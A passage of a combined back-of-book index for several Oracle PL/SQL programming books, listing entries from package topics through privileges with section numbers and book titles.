access to elements: 1.4.4. Access to Package Elements, Advanced Oracle PL/SQL Programming with Packages
building: 1.6. Building Packages, Advanced Oracle PL/SQL Programming with Packages
built-in
A.2.6. Builtin Packages, Advanced Oracle PL/SQL Programming with Packages
1.4.3.6. Built-in packages, Oracle PL/SQL Programming
1.6.3. Built-in packages, Oracle PL/SQL Programming
reference on: C. Built-In Packages, Oracle PL/SQL Programming
codependency: 2.4.1. Creating Codependent Packages, Advanced Oracle PL/SQL Programming with Packages
controlling use of elements: 1.3.2. Controlling Access with Packages, Oracle Built-in Packages
cursors in: 6.4.4. The Cursor RETURN Clause, Oracle PL/SQL Programming
data structures in: 16.5. Package Data, Oracle PL/SQL Programming
debugging messages in: 24.2.9. Build Debugging Messages into Your Packages, Oracle PL/SQL Programming
declaring cursors in: 16.3.2. Declaring Package Cursors, Oracle PL/SQL Programming
description: 1.3.1. What Is a Package?, Oracle Built-in Packages
developing around: 1.7.3. Center All Development Around Packages, Oracle PL/SQL Programming
documenting: 3.7. Documenting the Entire Package, Oracle PL/SQL Programming
dot notation for referencing elements: 1.3.3. Referencing Built-in Package Elements, Oracle Built-in Packages
effective coding of: 2. Best Practices for Packages, Advanced Oracle PL/SQL Programming with Packages
encapsulating data structure access: 1.7.2. Synchronize Program and Data Structures, Oracle PL/SQL Programming
exception handling, identifying cause of: 1.3.4.5. Same exception, different causes, Oracle Built-in Packages
exception section: 1.6.3.2. The exception section, Advanced Oracle PL/SQL Programming with Packages
flexibility: 2.6. Building Flexibility Into Your Packages, Advanced Oracle PL/SQL Programming with Packages
formatting: 3.5. Formatting Packages, Oracle PL/SQL Programming
functions in, calling: 17.5. Calling Packaged Functions in SQL, Oracle PL/SQL Programming
generating: 16.2.1. Generating a Package, Advanced Oracle PL/SQL Programming with Packages
granting execute authority to: 23.2.1. Execute Authority on Stored Objects, Oracle PL/SQL Programming
help: (see documentation)
hiding elements of
1.3.1. Enforced Information Hiding, Advanced Oracle PL/SQL Programming with Packages
2.7. Building Windows Into Your Packages, Advanced Oracle PL/SQL Programming with Packages
2.10. Hiding Package Data, Advanced Oracle PL/SQL Programming with Packages
in PL/Vision
4.2. PL/Vision Package Bundles, Advanced Oracle PL/SQL Programming with Packages
4.3.5. Creating the PL/Vision Packages, Advanced Oracle PL/SQL Programming with Packages
5. PL/Vision Package Specifications, Advanced Oracle PL/SQL Programming with Packages
initializing
1.6.3. The Initialization Section, Advanced Oracle PL/SQL Programming with Packages
1.6.5.2. Asserting the purity level of the initialization section, Advanced Oracle PL/SQL Programming with Packages
16.6. Package Initialization, Oracle PL/SQL Programming
purity level assertions in: 17.5.2. Asserting Purity Level with Package Initialization Section, Oracle PL/SQL Programming
interface
2.5. Constructing the Optimal Interface to Your Package, Advanced Oracle PL/SQL Programming with Packages
2.10.3. Simplifying Package Interfaces, Advanced Oracle PL/SQL Programming with Packages
layering: 2.9. Modularizing for Maintainable Packages, Advanced Oracle PL/SQL Programming with Packages
memory architecture: 1.4.3. The Memory-Resident Architecture of Packages, Advanced Oracle PL/SQL Programming with Packages
memory requirements: 4.3.2. Storage Requirements, Advanced Oracle PL/SQL Programming with Packages
minimizing interdependencies: 25.2.4. Creating Packages with Minimal Interdependencies, Oracle PL/SQL Programming
modifying persistent objects: 18.5.4. Approach 4: Use an Object and a PL/SQL Container Package, Oracle PL/SQL Programming
multiple, constructing: 2.11. Simultaneous Construction of Multiple Packages, Advanced Oracle PL/SQL Programming with Packages
naming
2.3. Selecting Package Names, Advanced Oracle PL/SQL Programming with Packages
22.1.3. Name Packages and Their Elements to Reflect the Packaged Structure, Oracle PL/SQL Programming
numbers-to-words: 17.8.7. Recursive Processing in a SQL Statement, Oracle PL/SQL Programming
of exceptions only: 16.3.1.1. A package of exceptions, Oracle PL/SQL Programming
of magic values only: 16.3.1.2. A package of magic values, Oracle PL/SQL Programming
online help: (see PLVhlp package)
ordering elements of: 2.2.1. Choosing the Order of Elements, Advanced Oracle PL/SQL Programming with Packages
package body
1.6. Building Packages, Advanced Oracle PL/SQL Programming with Packages
1.6.2. The Package Body, Advanced Oracle PL/SQL Programming with Packages
package specification
1.4.1. The Package Specification, Advanced Oracle PL/SQL Programming with Packages
1.6. Building Packages, Advanced Oracle PL/SQL Programming with Packages
pinning
(see also shared pool)
into SGA shared pool: 25.2.2. Pin Critical Code into the SGA, Oracle PL/SQL Programming
public versus private elements: 16.2.4. Public and Private Package Elements, Oracle PL/SQL Programming
purity level of: 17.5.1. The RESTRICT_REFERENCES Pragma, Oracle PL/SQL Programming
recompiling
2.4. Organizing Package Source Code, Advanced Oracle PL/SQL Programming with Packages
10.3.2. Compiling PL/SQL Objects, Oracle Built-in Packages
referencing elements of
1.4.2. Referencing Package Elements, Advanced Oracle PL/SQL Programming with Packages
1.3.3. Referencing Built-in Package Elements, Oracle Built-in Packages
23.1.4. Key Concepts for Program Execution, Oracle PL/SQL Programming
refresh state: 14.1.2.1. The DBMS_SNAPSHOT.I_AM_A_REFRESH function, Oracle Built-in Packages
replicated packages: 15.3.4.1. The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure, Oracle Built-in Packages
resetting state: 11.1.4.3. The DBMS_SESSION.RESET_PACKAGE procedure, Oracle Built-in Packages
rights models: 18.3.7.3. Rights model, Oracle PL/SQL Programming
specification
16.2.1. The Specification, Oracle PL/SQL Programming
16.3. The Package Specification, Oracle PL/SQL Programming
storing spefifications for: 1.7.3. Center All Development Around Packages, Oracle PL/SQL Programming
synchronizing body and specification: 16.4.2. Synchronize Body with Package, Oracle PL/SQL Programming
synonyms for: 4.3.6. Granting Access to PL/Vision, Advanced Oracle PL/SQL Programming with Packages
toggles in: 1.7.3. Center All Development Around Packages, Oracle PL/SQL Programming
variable persistence: 6.3.6. Variable Persistence Throughout a Session, Oracle Web Applications
variables in: B.2.2. No Direct Stored Package Variable References, Oracle PL/SQL Programming
reducing memory usage of: 25.2.5. Reducing Memory Usage of Package Variables, Oracle PL/SQL Programming
windows in: 2.7. Building Windows Into Your Packages, Advanced Oracle PL/SQL Programming with Packages
working with large: 1.6.4. Working with Large Packages, Advanced Oracle PL/SQL Programming with Packages
padding strings
11.1.11. The RPAD function, Oracle PL/SQL Programming
11.1.8. The LPAD function, Oracle PL/SQL Programming
page size
17.4.2. Setting the Page Size, Advanced Oracle PL/SQL Programming with Packages
17.5.6.4. Maintaining the current page variables, Advanced Oracle PL/SQL Programming with Packages
online help: 5.14.2. Setting the page size, Advanced Oracle PL/SQL Programming with Packages
pagesize function: 17.4.2. Setting the Page Size, Advanced Oracle PL/SQL Programming with Packages
paragraphs
5.21.2. Wrapping long strings into paragraphs , Advanced Oracle PL/SQL Programming with Packages
10.1.4. Wrapping Strings into Paragraphs, Advanced Oracle PL/SQL Programming with Packages
parallel server mode, testing for: 10.1.2.15. The DBMS_UTILITY.IS_PARALLEL_SERVER function, Oracle Built-in Packages
parallelization of programs: 1.5.1.1. Leveraging builtin packages, Advanced Oracle PL/SQL Programming with Packages
parameter arrays: 2.4.3.3. Parameter arrays, Oracle Web Applications
parameter list: 16.2.2.2. A procedure with parameter list and executable code, Advanced Oracle PL/SQL Programming with Packages
parameter name, PL/SQL: 6.1.3. Parameters, Oracle Web Applications
parameters
(see also initialization parameters)
10.1.2.13. The DBMS_UTILITY.GET_PARAMETER_VALUE function , Oracle Built-in Packages
15.6. Parameters, Oracle PL/SQL Programming
ANY parameters: 9.2.4. UTL_REF: Referencing Objects (Oracle8.0.4), Oracle Built-in Packages
Boolean: 22.7.2. Use Self-Identifying Parameters (Avoid Boolean Values), Oracle PL/SQL Programming
IN OUT mode
15.6.2.3. The IN OUT mode, Oracle PL/SQL Programming
22.7.3. Assign Values to All OUT and IN OUT Parameters, Oracle PL/SQL Programming
IN mode: 15.6.2.1. IN mode, Oracle PL/SQL Programming
OUT mode
15.6.2.2. OUT mode, Oracle PL/SQL Programming
22.7.3. Assign Values to All OUT and IN OUT Parameters, Oracle PL/SQL Programming
accepted in PARAMETERS clause: 21.4.3. Properties, Oracle PL/SQL Programming
actual versus formal: 15.6.3. Actual and Formal Parameters, Oracle PL/SQL Programming
case consistency of: 22.7.4. Ensure Case Consistency of Parameters, Oracle PL/SQL Programming
cursor: 6.10. Cursor Parameters, Oracle PL/SQL Programming
declaring: 21.4.4. Correct Declaration of Properties, Oracle PL/SQL Programming
default values of
B.2.4. No Default Parameter Values, Oracle PL/SQL Programming
15.6.5. Default Values, Oracle PL/SQL Programming
22.7.5. Default Values and Remote Procedure Calls, Oracle PL/SQL Programming
describing: 10.2. DBMS_DESCRIBE: Describing PL/SQL Program Headers, Oracle Built-in Packages
design tips for: 22.7. Tips for Parameter Design, Oracle PL/SQL Programming
documenting: 22.7.1. Document All Parameters and Their Functions, Oracle PL/SQL Programming
for overloaded modules: 15.8.4. Restrictions on Overloading, Oracle PL/SQL Programming
increasing number of: 22.5.3. Use Parameters Liberally , Oracle PL/SQL Programming
mapping for external procedures: 21.4. Mapping Parameters, Oracle PL/SQL Programming
module, collections as: 19.2.2.3. Collections as module parameters, Oracle PL/SQL Programming
modules without: 22.4. Be Wary of Modules Without Any Parameters , Oracle PL/SQL Programming
naming: 22.1.2. Develop Consistent Naming Conventions for Your Formal Parameters , Oracle PL/SQL Programming
optional: 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
package data and: 25.4.4. Use Package Data to Avoid Passing "Bulky" Parameter Values, Oracle PL/SQL Programming
passing: 4.2.2. Parameter Passing, Oracle Web Applications
passing by reference: 21.4.2. More Syntax: The PARAMETERS Clause, Oracle PL/SQL Programming
PL/SQL: 6.1.3. Parameters, Oracle Web Applications
tables as: 10.5.4. Passing PL/SQL Tables as Parameters, Oracle PL/SQL Programming
validating with assertion modules: 22.2.4. Use Assertion Modules to Validate Parameters and Assumptions, Oracle PL/SQL Programming
parent block: (see nested blocks)
parse procedure: 2.4.6. Problem-Solving Dynamic SQL Errors, Oracle Built-in Packages
parse tree: 1.6.4. Working with Large Packages, Advanced Oracle PL/SQL Programming with Packages
parse_delete procedure
5.9.3. Bundled, low-level operations, Advanced Oracle PL/SQL Programming with Packages
19.5.6.3. Parse for delete, Advanced Oracle PL/SQL Programming with Packages
parse_long_one procedure: 2.3.3.2. Parsing very long SQL statements, Oracle Built-in Packages
parse_name procedure
5.11.13. Miscellaneous operations, Advanced Oracle PL/SQL Programming with Packages
13.2.3. Parsing the File Name, Advanced Oracle PL/SQL Programming with Packages
parsing
PL/SQL code: 10.3.2. Parsing PL/SQL Code, Advanced Oracle PL/SQL Programming with Packages
code: 5.22. PLVprsps: PL/SQL Source Code Parsing, Advanced Oracle PL/SQL Programming with Packages
delimiter, defining: 10.1.2. Customizing the Delimiter Set, Advanced Oracle PL/SQL Programming with Packages
file name: 13.2.3. Parsing the File Name, Advanced Oracle PL/SQL Programming with Packages
HTML: 7.1.3. HTF: Parsing HTML, Oracle Web Applications
program names: 11.3.2. Converting the Program Name, Advanced Oracle PL/SQL Programming with Packages
SQL statements
(see also deferred parsing; SQL statements, parsing)
6.2.2. Cursor Operations, Oracle PL/SQL Programming
strings
5.16. PLVlex: Lexical Analysis, Advanced Oracle PL/SQL Programming with Packages
5.21. PLVprs: String Parsing, Advanced Oracle PL/SQL Programming with Packages
11.2.1. Parsing a Name, Oracle PL/SQL Programming
10. PLVprs, PLVtkn, and PLVprsps: Parsing Strings, Advanced Oracle PL/SQL Programming with Packages
parslong.sp : 2.3.3.2. Parsing very long SQL statements, Oracle Built-in Packages
part-of relationship: 18.1.4.3. Inheritance , Oracle PL/SQL Programming
partial installation: 4.4.4. A Warning About Partial Installation , Advanced Oracle PL/SQL Programming with Packages
partitioned objects, analyzing: 10.1.2.3. The DBMS_UTILITY.ANALYZE_PART_OBJECT procedure (Oracle8 Only), Oracle Built-in Packages
partitioned tables
ROWID datatype for: 4.2.3.6. The ROWID datatype, Oracle PL/SQL Programming
to store array: 10.9.4.2. Partitioning a PL/SQL table to store an array, Oracle PL/SQL Programming
passing
collection arguments: 19.8.3. Call by Reference or Call by Value, Oracle PL/SQL Programming
parameters by reference: 21.4.2. More Syntax: The PARAMETERS Clause, Oracle PL/SQL Programming
path function: 6.2.6.4. Adding support for paths, Oracle Built-in Packages
path, URL: 2.2.5. The Uniform Resource Locator, Oracle Web Applications
pathnames, UTL_FILE enhancement: 6.2.6.4. Adding support for paths, Oracle Built-in Packages
pause procedure
5.3.6. Miscellaneous programs, Advanced Oracle PL/SQL Programming with Packages
6.4.4. Pausing Your Program, Advanced Oracle PL/SQL Programming with Packages
pausing help text: (see more procedure)
pausing programs
5.3.6. Miscellaneous programs, Advanced Oracle PL/SQL Programming with Packages
A.2.6. Builtin Packages, Advanced Oracle PL/SQL Programming with Packages
6.4.4. Pausing Your Program, Advanced Oracle PL/SQL Programming with Packages
payload: (see messages (AQ); queues)
payload types: 5.3.3. Queue Type Names, Oracle Built-in Packages
pcex1.sql : 12.1.2.1. The DBMS_SPACE.FREE_BLOCKS procedure, Oracle Built-in Packages
peek procedure: 3.1.7.3. The dbpipe utility package, Oracle Built-in Packages
peers: (see master sites)
percent (multiple-character substitution): 5.7.5.1. Wildcarded correlation identifiers, Oracle Built-in Packages
perform_commit procedure
5.7.3. Performing commits, Advanced Oracle PL/SQL Programming with Packages
20.1.2. The COMMIT Substitute, Advanced Oracle PL/SQL Programming with Packages
perform_rollback function
5.23.3. Performing rollbacks, Advanced Oracle PL/SQL Programming with Packages
20.2.4. Performing Rollbacks, Advanced Oracle PL/SQL Programming with Packages
performance
A.2.6. Builtin Packages, Advanced Oracle PL/SQL Programming with Packages
1.3.6. Performance Improvement, Advanced Oracle PL/SQL Programming with Packages
3.10. Choosing the Best Performer, Advanced Oracle PL/SQL Programming with Packages
5.27.6. Calibration and timing scripts, Advanced Oracle PL/SQL Programming with Packages
14. PLVtmr: Analyzing Program Performance, Advanced Oracle PL/SQL Programming with Packages
DBMS_SQL used for improving: 2.4.5. Improving the Performance of Dynamic SQL, Oracle Built-in Packages
analyzing: 25.1. Analyzing Program Performance, Oracle PL/SQL Programming
array fetching and: 2.5.6.4. Using array processing to fetch, Oracle Built-in Packages
dynamic PL/SQL: 19.5.5.3. The overhead of dynamic PL/SQL, Advanced Oracle PL/SQL Programming with Packages
implicit cursors and: 6.3.2.1. Inefficiencies of implicit cursors, Oracle PL/SQL Programming
implicit data conversions and: 4.2.8.3. Drawbacks of implicit conversions, Oracle PL/SQL Programming
local variables and: 25.4.3. Rely on Local Variables to Improve Performance, Oracle PL/SQL Programming
package data and: 25.4.4. Use Package Data to Avoid Passing "Bulky" Parameter Values, Oracle PL/SQL Programming
package size: 1.6.4. Working with Large Packages, Advanced Oracle PL/SQL Programming with Packages
session identifiers and: 11.1.5.4. The sid function, Oracle Built-in Packages
stored functions and: 17.1. Looking at the Problem, Oracle PL/SQL Programming
performance analysis
(see also statistics)
7. Defining an Application Profile, Oracle Built-in Packages
DBMS_APPLICATION_INFO used for
7. Defining an Application Profile, Oracle Built-in Packages
7.3. DBMS_APPLICATION_INFO Examples , Oracle Built-in Packages
7.3.7. Monitoring Application SQL Resource Consumption, Oracle Built-in Packages
7.3.8. Session Monitoring and Three-Tier Architectures, Oracle Built-in Packages
hashing (example): 10.1.2.12. The DBMS_UTILITY.GET_HASH_VALUE function, Oracle Built-in Packages
storing information for (example): 7.3.3. The set_stats Procedure, Oracle Built-in Packages
performance time, using progress box: 22.6.3. Progress Box as ADT, Oracle PL/SQL Programming
permissions
(see also access)
permissions, PL/SQL: 6.1.6. Permissions, Oracle Web Applications
persistence
1.3.4. Object Persistence, Advanced Oracle PL/SQL Programming with Packages
1.6.1.3. Need global data structures for your PL/SQL programs, Advanced Oracle PL/SQL Programming with Packages
REFs and: 18.2.3. Adding Complex Data Structures, Oracle PL/SQL Programming
encapsulation and: 18.2.2.2. DDL usage , Oracle PL/SQL Programming
persistent LOBs: 7.5.2. DBMS_LOB: Working with Temporary LOBs, Guide to Oracle8i Features
persistent objects
modifying: 18.5. Modifying Persistent Objects, Oracle PL/SQL Programming
referring to: 18.4.2. OID, VALUE, REF, and DEREF, Oracle PL/SQL Programming
perspectives, WebDB: 3.1.3.2. Managing content, Oracle Web Applications
pessimistic locking: 7.3.2. OWA_OPT_LOCK: Record Locking, Oracle Web Applications
phonetic string comparisons: 11.1.13. The SOUNDEX function, Oracle PL/SQL Programming
physical directories, WebDB: 3.2.3.2. Virtual directory mappings, Oracle Web Applications
pinning
(see also shared pool)
code into memory: 1.4.3.1. Managing packages in shared memory, Advanced Oracle PL/SQL Programming with Packages 25.2.2. Pin Critical Code into the SGA, Oracle PL/SQL Programming
packages on database startup: 6.2.1.1. Pinning packages on database startup, Guide to Oracle8i Features
pipe1 procedure: 3.1.7.2. Exploring DBMS_PIPE , Oracle Built-in Packages
pipe1.sql : 3.1.7.2. Exploring DBMS_PIPE , Oracle Built-in Packages
pipe2.sql : 3.1.7.2. Exploring DBMS_PIPE , Oracle Built-in Packages
pipenames: 3.1.3.1. The DBMS_PIPE.CREATE_PIPE function, Oracle Built-in Packages
pipes
(see also DBMS_PIPE package; message buffers; messages (pipes)
3.1. DBMS_PIPE: Communicating Between Sessions , Oracle Built-in Packages
6.2.1.3. Trapping system errors, Guide to Oracle8i Features
advanced queuing versus: 3.1.2.3. Pipe communications logic, Oracle Built-in Packages
creating
3.1.3.1. The DBMS_PIPE.CREATE_PIPE function, Oracle Built-in Packages
3.1.3.4. The DBMS_PIPE.PURGE procedure, Oracle Built-in Packages
3.1.5.1. The DBMS_PIPE.SEND_MESSAGE function, Oracle Built-in Packages
RECEIVE_MESSAGE and: 3.1.5.2. The DBMS_PIPE.RECEIVE_MESSAGE function, Oracle Built-in Packages
SEND_MESSAGE and: 3.1.3.1. The DBMS_PIPE.CREATE_PIPE function, Oracle Built-in Packages
encapsulating pack/send and receive/unpack: 3.1.7.5. The pipesvr package, Oracle Built-in Packages
implementation of: 3.1.2. How Database Pipes Work, Oracle Built-in Packages
job queue and: 13. Job Scheduling in the Database, Oracle Built-in Packages
memory for
allocating: 3.1.3.1. The DBMS_PIPE.CREATE_PIPE function, Oracle Built-in Packages
freeing
3.1.3.2. The DBMS_PIPE.REMOVE_PIPE function, Oracle Built-in Packages
3.1.3.4. The DBMS_PIPE.PURGE procedure, Oracle Built-in Packages
tips about: 3.1.6.6. Sizing and removing pipes for good memory management, Oracle Built-in Packages
names for: 3.1.3.1. The DBMS_PIPE.CREATE_PIPE function, Oracle Built-in Packages
packing/unpacking relationship: 3.1.7.2. Exploring DBMS_PIPE , Oracle Built-in Packages
purging: 3.1.3.4. The DBMS_PIPE.PURGE procedure, Oracle Built-in Packages
removing: 3.1.3.2. The DBMS_PIPE.REMOVE_PIPE function, Oracle Built-in Packages
separating messages for specific recipients: 3.1.6.2. Separating messages, Oracle Built-in Packages
timeouts
3.1.5.1. The DBMS_PIPE.SEND_MESSAGE function, Oracle Built-in Packages
3.1.5.2. The DBMS_PIPE.RECEIVE_MESSAGE function, Oracle Built-in Packages
3.1.6.4. Paying attention to timeouts, Oracle Built-in Packages
unique session names, returning: 3.1.3.5. The DBMS_PIPE.UNIQUE_SESSION_NAME function, Oracle Built-in Packages
utility package: 3.1.7.3. The dbpipe utility package, Oracle Built-in Packages
pipesvr package
(see also specific program names)
3.1.7.5. The pipesvr package, Oracle Built-in Packages
pipesvr.sql
3.1.3.3. The DBMS_PIPE.RESET_BUFFER procedure, Oracle Built-in Packages
3.1.5.2. The DBMS_PIPE.RECEIVE_MESSAGE function, Oracle Built-in Packages
3.1.7.5. The pipesvr package, Oracle Built-in Packages
pipex1.sql
3.1.4.1. The DBMS_PIPE.PACK_MESSAGE procedure, Oracle Built-in Packages
3.1.6.1. Defining message types and encapsulating communications logic, Oracle Built-in Packages
pipex2.sql : 3.1.4.7. The DBMS_PIPE.NEXT_ITEM_TYPE function, Oracle Built-in Packages
pkg procedure
5.13.6. Generating a package, Advanced Oracle PL/SQL Programming with Packages
16.2.1. Generating a Package, Advanced Oracle PL/SQL Programming with Packages
pky procedure: 5.8.3. Dumping the DDL, Advanced Oracle PL/SQL Programming with Packages
pl procedure: 6.1.6.1. Encapsulating DBMS_OUTPUT, Oracle Built-in Packages
pl/sql_statement, trigger syntax: 6.3. Schema-Level Event Triggers, Guide to Oracle8i Features
place_bid procedure: 3.2.3.5. The auction package, Oracle Built-in Packages
placeholder function: 5.9.7. Miscellaneous programs, Advanced Oracle PL/SQL Programming with Packages
placeholders: (see host variables)
plsql procedure
5.8.3. Dumping the DDL, Advanced Oracle PL/SQL Programming with Packages
5.9.6. Executing dynamic PL/SQL, Advanced Oracle PL/SQL Programming with Packages
19.5.5. Executing Dynamic PL/SQL Code, Advanced Oracle PL/SQL Programming with Packages
plsql_block function
5.9.7. Miscellaneous programs, Advanced Oracle PL/SQL Programming with Packages
19.5.5.1. Implementation of PLVdyn.plsql, Advanced Oracle PL/SQL Programming with Packages
plsql_delimiters constant
5.21.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
10.1.2. Customizing the Delimiter Set, Advanced Oracle PL/SQL Programming with Packages
plsql_identifier variable
5.3.2. Anchoring datatypes, Advanced Oracle PL/SQL Programming with Packages
6.5. The Predefined Datatypes, Advanced Oracle PL/SQL Programming with Packages
19.5.5.2. Scope of a dynamic PL/SQL block, Advanced Oracle PL/SQL Programming with Packages
plsql_package parameter, CREAT _CONTEXT statement: 8.2. CREATE CONTEXT: Creating Contexts, Guide to Oracle8i Features
plsql_profiler_data table: 7.1.2. Installing DBMS_PROFILER, Guide to Oracle8i Features
plsql_profiler_runs table: 7.1.2. Installing DBMS_PROFILER, Guide to Oracle8i Features
plsql_profiler_units table: 7.1.2. Installing DBMS_PROFILER, Guide to Oracle8i Features
plsql_string procedure
5.22.3. Parsing PL/SQL source code, Advanced Oracle PL/SQL Programming with Packages
10.3.2.1. plsql_string procedure, Advanced Oracle PL/SQL Programming with Packages
plsqlarray.sp : 2.5.6.5. Using array processing in dynamic PL/SQL , Oracle Built-in Packages
plug-and-play packages
4.2.3. Plug-and-Play Components, Advanced Oracle PL/SQL Programming with Packages
19. PLVdyn and PLVfk: Dynamic SQL and PL/SQL, Advanced Oracle PL/SQL Programming with Packages
plvcat.sql script: 18.2.3.4. Cataloguing PL/Vision, Advanced Oracle PL/SQL Programming with Packages
plvgrant.sql script : 4.3.6. Granting Access to PL/Vision, Advanced Oracle PL/SQL Programming with Packages
plvins23.sql script : 4.3.5. Creating the PL/Vision Packages, Advanced Oracle PL/SQL Programming with Packages
plvinst.sql script: 4.3.5. Creating the PL/Vision Packages, Advanced Oracle PL/SQL Programming with Packages
plvpsyn.sql script: 4.3.6. Granting Access to PL/Vision, Advanced Oracle PL/SQL Programming with Packages
pointers to objects: (see REFs)
policy_function parameter, ADD_POLICY procedure: 7.3.4. ADD_POLICY: Adding a Policy, Guide to Oracle8i Features
policy_name parameter, ADD_POLICY procedure: 7.3.4. ADD_POLICY: Adding a Policy, Guide to Oracle8i Features
polymorphism: 18.1.4.4. Polymorphism , Oracle PL/SQL Programming
pop procedure
5.24.3. Modifying stack contents, Advanced Oracle PL/SQL Programming with Packages
5.7.3. Building a Stack with AQ Using Sequence Deviation, Oracle Built-in Packages
port: 2.2.5. The Uniform Resource Locator, Oracle Web Applications
portability: 1.3.1. Improved Application Portability with PL/SQL, Oracle PL/SQL Programming
positional notation: 6.1.4.1. Positional notation, Oracle Web Applications
post-insert savepoint: 21.1.5.7. Setting the post-insert savepoint, Advanced Oracle PL/SQL Programming with Packages
pragmas
1.6.5.1. RESTRICT_REFERENCES pragma, Advanced Oracle PL/SQL Programming with Packages
2.2. Defining Autonomous Transactions, Guide to Oracle8i Features
2.4. Rules and Restrictions, Guide to Oracle8i Features
EXCEPTION_INIT
5.10.2. Package-based exceptions, Advanced Oracle PL/SQL Programming with Packages
8.3.3.1. The EXCEPTION_INIT pragma, Oracle PL/SQL Programming
packaged programs and: 1.3.7. Accessing Built-in Packaged Technology from Within SQL, Oracle Built-in Packages
RESTRICT_REFERENCES
17.3. Requirements for Stored Functions in SQL, Oracle PL/SQL Programming
17.5.1. The RESTRICT_REFERENCES Pragma, Oracle PL/SQL Programming
17.7.1. Manual Application of Pragmas, Oracle PL/SQL Programming
prebuilt packages: 1.5.2. Prebuilt Packages, Advanced Oracle PL/SQL Programming with Packages
precedence identifiers in cursors: 6.4.3. Identifier Precedence in a Cursor, Oracle PL/SQL Programming
precision: 4.2.1.2. Decimal numeric datatypes, Oracle PL/SQL Programming
predefined exceptions: 22.1.3. Impact of Predefined Exceptions, Advanced Oracle PL/SQL Programming with Packages
predefined system exceptions: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
prefix table row value: 8.5. Setting the Display Prefix, Advanced Oracle PL/SQL Programming with Packages
prefix function
5.2.3. Setting the line prefix, Advanced Oracle PL/SQL Programming with Packages
5.25.6. Setting the row prefix, Advanced Oracle PL/SQL Programming with Packages
prefixes to package element names: 2.3.3. Avoiding Superfluous Naming Elements, Advanced Oracle PL/SQL Programming with Packages
prependitem procedure: 5.18.3. Modifying list contents , Advanced Oracle PL/SQL Programming with Packages
prevmod function
5.28.6. Tracing PL/SQL code execution, Advanced Oracle PL/SQL Programming with Packages
21.2.4.4. Previous module, Advanced Oracle PL/SQL Programming with Packages
primary_instance parameter, CREATE_QUEUE_TABLE procedure: 7.6.1. CREATE_QUEUE_TABLE and MIGRATE_QUEUE_TABLE: Setting Version Compatibility and Queue Migration, Guide to Oracle8i Features
print_answers procedure, EMP_SURVEY package: 8.2.4. The EMP_SURVEY Package, Oracle Web Applications
print_input_row procedure, GENERAL_FORM package: 8.3.4. The GENERAL_FORM Package, Oracle Web Applications
print_invoice function, XML_INVOICE_PKG: 9.5.2. Body, Oracle Web Applications
print_items function, XML_INVOICE_PKG: 9.5.2. Body, Oracle Web Applications
print_textarea_row procedure, GENERAL_FORM package: 8.3.4. The GENERAL_FORM Package, Oracle Web Applications
print_thread_links procedure, FORUM package
8.3.6. The FORUM Package, Oracle Web Applications
8.3.6.2. Body, Oracle Web Applications
print_xml_tag function, XML_INVOICE_PKG: 9.5.2. Body, Oracle Web Applications
priority groups
(see also site priority groups)
16.3. Priority Groups with DBMS_REPCAT, Oracle Built-in Packages
16.3.4.2. The DBMS_REPCAT.DROP_PRIORITY_<datatype> procedure, Oracle Built-in Packages
adding priority levels: 16.3.3.1. The DBMS_REPCAT.ADD_PRIORITY_<datatype> procedure, Oracle Built-in Packages
altering data values: 16.3.3.3. The DBMS_REPCAT.ALTER_PRIORITY_<datatype> procedure, Oracle Built-in Packages
altering priority levels: 16.3.3.2. The DBMS_REPCAT.ALTER_PRIORITY procedure, Oracle Built-in Packages
comments, creating or changing: 16.3.2.3. The DBMS_REPCAT.COMMENT_ON_PRIORITY_GROUP procedure, Oracle Built-in Packages
concepts
16.3.1. About Priority Groups, Oracle Built-in Packages
16.3.3. Creating and Maintaining Priorities Within a Priority Group, Oracle Built-in Packages
creating: 16.3.2.1. The DBMS_REPCAT.DEFINE_PRIORITY_GROUP procedure, Oracle Built-in Packages
dropping priority groups: 16.3.2.2. The DBMS_REPCAT.DROP_PRIORITY_GROUP procedure, Oracle Built-in Packages
dropping priority levels by data value: 16.3.4.2. The DBMS_REPCAT.DROP_PRIORITY_<datatype> procedure, Oracle Built-in Packages
dropping priority levels by priority level number: 16.3.4.1. The DBMS_REPCAT.DROP_PRIORITY procedure, Oracle Built-in Packages
priority levels
adding: 16.3.3.1. The DBMS_REPCAT.ADD_PRIORITY_<datatype> procedure, Oracle Built-in Packages
altering: 16.3.3.2. The DBMS_REPCAT.ALTER_PRIORITY procedure, Oracle Built-in Packages
dropping by data value: 16.3.4.2. The DBMS_REPCAT.DROP_PRIORITY_<datatype> procedure, Oracle Built-in Packages
dropping by level number: 16.3.4.1. The DBMS_REPCAT.DROP_PRIORITY procedure, Oracle Built-in Packages
dropping site priorities via: 16.4.3.2. The DBMS_REPCAT.DROP_SITE_PRIORITY_SITE procedure, Oracle Built-in Packages
priority package
(see also specific program names)
5.7.2. Working with Prioritized Queues, Oracle Built-in Packages
priority.spp : 5.7.2. Working with Prioritized Queues, Oracle Built-in Packages
priority.tst : 5.7.2. Working with Prioritized Queues, Oracle Built-in Packages
priority_name function: 5.7.2. Working with Prioritized Queues, Oracle Built-in Packages
private
PL/Vision package synonyms: 4.3.6. Granting Access to PL/Vision, Advanced Oracle PL/SQL Programming with Packages
elements
16.2.2. The Body, Oracle PL/SQL Programming
16.2.4. Public and Private Package Elements, Oracle PL/SQL Programming
1.4.4.1. Public and private data, Advanced Oracle PL/SQL Programming with Packages
2.7. Building Windows Into Your Packages, Advanced Oracle PL/SQL Programming with Packages
2.10. Hiding Package Data, Advanced Oracle PL/SQL Programming with Packages
declaring before public: 2.2.1. Choosing the Order of Elements, Advanced Oracle PL/SQL Programming with Packages
global data: 16.5.4. Global Private Data, Oracle PL/SQL Programming
package elements
1.3.1. Enforced Information Hiding, Advanced Oracle PL/SQL Programming with Packages
1.4.4. Access to Package Elements, Advanced Oracle PL/SQL Programming with Packages
pipes
3.1. DBMS_PIPE: Communicating Between Sessions , Oracle Built-in Packages
3.1.3.1. The DBMS_PIPE.CREATE_PIPE function, Oracle Built-in Packages
privilege parameter: 7.6.2.1. GRANT_SYSTEM_PRIVILEGE: Granting system-level privileges, Guide to Oracle8i Features
privileges
(see also roles)
2.2.1. Creating the DBMS_SQL Package, Oracle Built-in Packages
2.5.3. Privileges, Oracle Web Applications
3.1.3.3. Controlling access to content, Oracle Web Applications
DDL statement execution and
2.4.7. Executing DDL in PL/SQL, Oracle Built-in Packages
19.4.1. DDL Operations , Advanced Oracle PL/SQL Programming with Packages
